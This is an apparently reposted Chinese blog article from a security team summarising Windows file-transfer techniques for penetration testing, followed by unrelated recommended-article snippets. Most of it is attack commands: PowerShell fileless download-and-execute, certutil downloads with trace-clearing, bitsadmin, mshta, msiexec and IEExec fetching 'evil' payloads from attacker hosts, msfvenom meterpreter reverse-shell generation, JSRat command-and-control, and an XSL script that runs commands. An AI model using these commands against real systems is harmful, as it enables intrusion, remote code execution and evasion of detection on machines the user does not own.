Windows&Linux文件传输方式总结

2023-11-15

        技术交流

 关注微信公众号 Z20安全团队 , 回复 加群 ,拉你入群 一起讨论技术。

直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看。

在渗透过程中,通常会需要向目标主机传送一些文件,来达到权限提升、权限维持等目的,本篇文章主要介绍一些windows和Linux下常用的文件传输方式。

Windows

利用FTP协议上传

在本地或者VPS上搭建FTP服务器,通过简单的FTP命令即可实现文件的上传。常用的FTP命令:

open <服务器地址> :连接服务器
cd <目录名> :进入指定目录
lcd <文件夹路径> : 定位本地文件夹
type:查看当前的传输方式
ascii:设定传输方式为ASCII码方式 
binary:设定传输方式为二进制方式
put <文件名> [newname]  上传
send <文件名> [newname]  上传get:下载单个文件  get filename [newname]  (filename为下载的ftp服务器上的文件名,newname为保存在本都计算机上时使用的名字,如果不指定newname,文件将以原名保存。mget:下载多个文件mget filename [filename ....](mget命令支持通配符“*”和“?”,比如:mget  *.jpg 表示下载ftp服务器当前目录下的所有扩展名为jpg的文件。)
prompt:关闭/打开互交提示。

例如,我们可以通过在攻击主机上搭建FTP服务,之后在目标主机上通过cmd下的ftp进行远程连接:
首先,在攻击主机使用IPOP启动一个简易的FTP服务

powershell

远程下载文件保存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

远程执行命令,无文件落地:

powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。
我们可以在cmd中输入bitsadmin来查看其使用说明:

我们可以通过在目标主机上执行以下命令来实现远程文件下载:

bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\evil.exe

certutil

certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。xp-win10都自带。
我们可以在cmd中输入以下命令来查看certutil的具体使用方法:

certutil -?

由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存 进行删除。

注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

ipc$文件共享

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

#建立远程IPC连接net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#复制远程文件到本地主机copy \\192.168.28.128\c$\2.txt D:\test

IEExec

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

生成Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理员身份打开cmd,分别运行下面两条命令:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

msiexec

msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易HTTP服务:

之后在目标主机上通过msiexec来实现远程下载文件并执行,该方法同样可以实现无文件落地攻击:

msiexec /q /i http://192.168.174.131:1234/evil.msi	

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:

<HTML><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD><script language="VBScript">Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c calc.exe" // 待执行的命令self.close</script><body>Demo</body></HEAD></HTML>	

之后在远程目标主机上执行以下命令实现下载执行操作,且无文件落地:

mshta http://192.168.174.1:1234/evil.hta

如果你想要使得目标主机CS上线,那么也可以通过CS来构造hta文件:

之后在本地启动一个HTTP服务:

之后在cmd下通过mshta来下载hta文件并运行,使其上线,且无文件落地:

mshta http://192.168.174.131:1234/evil.hta	

CS中成功上线:

rundll32

Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。

这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序,项目地址:https://github.com/Hood3dRob1n/JSRat-Py.git

首先我们在本地运行JSRat监听本地1234端口:

./JSRat.py -i 192.168.174.131 -p 1234

之后通过访问client comand 连接客户端执行命令:

之后复制上述恶意命令在目标主机cmd下执行:

之后成功返回一个会话如下所示:

regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载,和上面类似,这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地1234端口:

./JSRat.py -i 192.168.174.131 -p 1234

之后通过访问client comand 连接查看客户端执行命令:

之后复制上述恶意点在目标主机cmd下执行:

之后成功返回一个会话

wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

wget.exe下载:https://eternallybored.org/misc/wget

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

curl

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。
当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:

curl http://192.168.174.1:1234/evil.exe -o evil.exe

netcat

当目标主机上安装了netcat是我们可以使用netcat来实现文件下载,当然这种场景在实战中少之又少

首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:

nc -lvp 4444 < evil.exe

之后在目标主机上下载文件:

nc  192.168.174.131 4444 >evil.exe

python

当目标主机内安装了python时,我们可以在cmd中使用python来实现远程文件下载:

>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')>>> localfile = open('local_file.hta','w')>>> localfile.write(u.read())>>> localfile.close()

WinScp

WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。

#上传winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt#下载winscp.exe /console /command "option batch continue" "option confirm off" "opensftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\""exit" /log=log_file.txt

使用winscp.exe 作为命令行参数执行远程上传/下载操作

MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为:https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl

demo.xml:

<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

exec.xsl:

<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}</msxsl:script><xsl:template match="/"><xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

篇幅问题,Linux文件传输下篇文章更新

技术交流

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Windows&Linux文件传输方式总结 的相关文章

随机推荐

  • 区块链公链开发有哪些价值?

    2018年公链开始大量出现 区块链公链开发有什么价值 实质上真正创造区块链价值的是兴建在主网络之上的DAPP 并不是底层链的主网络 获得成功的底层链都要具有身后强劲的DAPP项目集群的支持 尽管DAPP的基本构建标准与底层链主互联网息息相关
  • Python入门教程(保姆级),从零基础入门到精通

    对于刚开始接触Python的小伙伴来说 没有思路方法 不知道从何开始学习 把软件环境安装好后就不知所措了 接下来我给大家分享下多位大牛倾力打造的python系统学习流程 一个月才设计完的 Python基础部分 老话说的好 万丈高楼平地起 不
  • Linux下使用校园网

    Linux下使用Drcom登陆校园网方法汇总 第一种方法 用wine登录各种客户端 正版的提示不能找到动态连接库rasapi32 内建的原装的试过都没有用 放弃 破解版的不是登录超时就是各种错误 第二种方法 用学校提供的LINUX版本 提示
  • 西米支付:数字人民币接口来了!实时清算至数字人民币钱包。

    1 产品概述 什么是数字人民币 是由中国人民银行发行的数字形式的法定货币 由指定运营机构参与运营 与实物人民 币等价 具有价值特征和法偿性 是一种零售型央行数字货币 也是未来主流支付方式之一 主要用于满足国内零售支付的需求 商户如何开通数字
  • unity keycode对应的键值

    KeyCode KeyCode是由Event keyCode返回的 这些直接映射到键盘上的物理键 值 对应键 Backspace 退格键 Delete Delete键 Tab TabTab键 Clear Clear键 Return 回车键
  • 泛型类型的子类及通配符的使用

    本文讲述以下几个方面的内容 试图说明泛型类型的子类及通配符的使用 1 子类及替换原则 2 使用extends关键字的通配符 3 使用super关键字的通配符 1 子类及替换原则 在java语言中 我们通俗讲一个类是另一个类的子类型 是通过使
  • 【深入探究人工智能】:历史、应用、技术与未来

    深入探究人工智能 前言 人工智能的历史 人工智能的应用 人工智能的技术 人工智能的未来 当代的人工智能产物 结语 小结 博客主页 小智 x0 0x 欢迎关注 点赞 收藏 留言 系列专栏 小智带你闲聊 代码仓库 小智的代码仓库 前言 人工智能
  • [python] 路径相似度

    问题以及解 path 1 b1 path a b1 path a b1 c 1 输入一个路径的值 path 正则表达式 正则表达式 设这个字符串为ST1 2 输入一个被比较的路径值 path 1 b1 ST2 将第一个字符串ST1 进行sp
  • 2022java面试题

    seata tcc 和at模式区别 feign 常用哪些参数 缓存穿透 缓存击穿 Springmvc执行流程 过滤器拦截器的区别 kafka的0拷贝 kafka的原理 线程池如何实现只有线程池里面的任务执行完之后 才去给线程池添加任务 让你
  • 随机森林(Random Forest),决策树,bagging, boosting(Adaptive Boosting,GBDT)

    http www cnblogs com maybe2030 p 4585705 html 阅读目录 1 什么是随机森林 2 随机森林的特点 3 随机森林的相关基础知识 4 随机森林的生成 5 袋外错误率 oob error 6 随机森林工
  • 【每日一C之十七】#ifndef与#pragma once的用法与区别

    每日一C之 ifndef与 pragma once 每天拾一个C语言贝壳 厚积薄发 积跬步以致千里
  • Unity 笔记SortingLayer、Order in Layer和RenderQueue讲解

    1 首先先了解一下摄像机的Depth 深度渲染 深度值越低 越先渲染 深度值高 后渲染 所以一般UICamera的Depth大于3D摄像机 Culling Mask 主要是相机针对不同层级的物体进行渲染的操作 想让相机渲染哪个层就勾选哪个层
  • InputStream Reader FileInputStream BufferedReader InputStreamReader FileReader FileInputStream和转换流

    原文地址 转发备忘 https blog csdn net liu940204 article details 79994467 ava io下面有两个抽象类 InputStream和Reader InputStream是表示字节输入流的所
  • 全网最全fiddler使用教程和fiddler如何抓包(fiddler手机抓包)-笔者亲测

    目录 导读 一 前言 二 HTTP协议 三 Fiddler简介和工作原理 四 Fiddler六大块详解 五 Fiddler过滤器 六 Fiddler 对于WEB项目的抓包和改包项目实战 七 Fiddler弱网测试 八 Fiddler抓取ht
  • springboot项目打包提示Unable to find a single main class from the following candidates错误

    提示Unable to find a single main class from the following candidates错误的原因是会从所有代码里面扫描包括main方法的类 找到多个类就报错了 解决办法是在pom xml指定启动
  • 因果关系的骚操作

    import numpy as np from sklearn datasets import load boston boston load boston print boston target shape print boston da
  • 【软考备考-综合知识】操作系统基础

    操作系统概念 能有效地组织和管理系统中的各种软 硬件资源 合理地组织计算机系统工作流程 控制程序的执行 并且向用户提供一个良好的工作环境和友好的接口 特征与功能 操作系统的4个特征是并发性 共享性 虚拟性和不确定性 操作系统的功能可以分为处
  • ElasticSearch的Update By Query的坑(使用注意事项及其方案)

    ES的Update By Query对应的就是关系型数据库的update set where 语句 ES的Update By Query可能存在的坑 比如批量更新时非事务模式执行 允许部分成功部分失败 大批量操作会超时 频繁更新会报错 版本
  • 2019年9月26日星期四(STM32 ucos3 )

    一 消息队列 1 概念 信号量本身不能传递数据 如果希望在任务通信同时传递数据 可以使用消息队列 任务和中断都可以发送消息 但是只有任务能够接收消息 2 编程使用 1 创建消息队列 void OSQCreate OS Q p q 消息队列控
  • Windows&Linux文件传输方式总结

    技术交流 关注微信公众号 Z20安全团队 回复 加群 拉你入群 一起讨论技术 直接公众号文章复制过来的 排版可能有点乱 可以去公众号看 在渗透过程中 通常会需要向目标主机传送一些文件 来达到权限提升 权限维持等目的 本篇文章主要介绍一些wi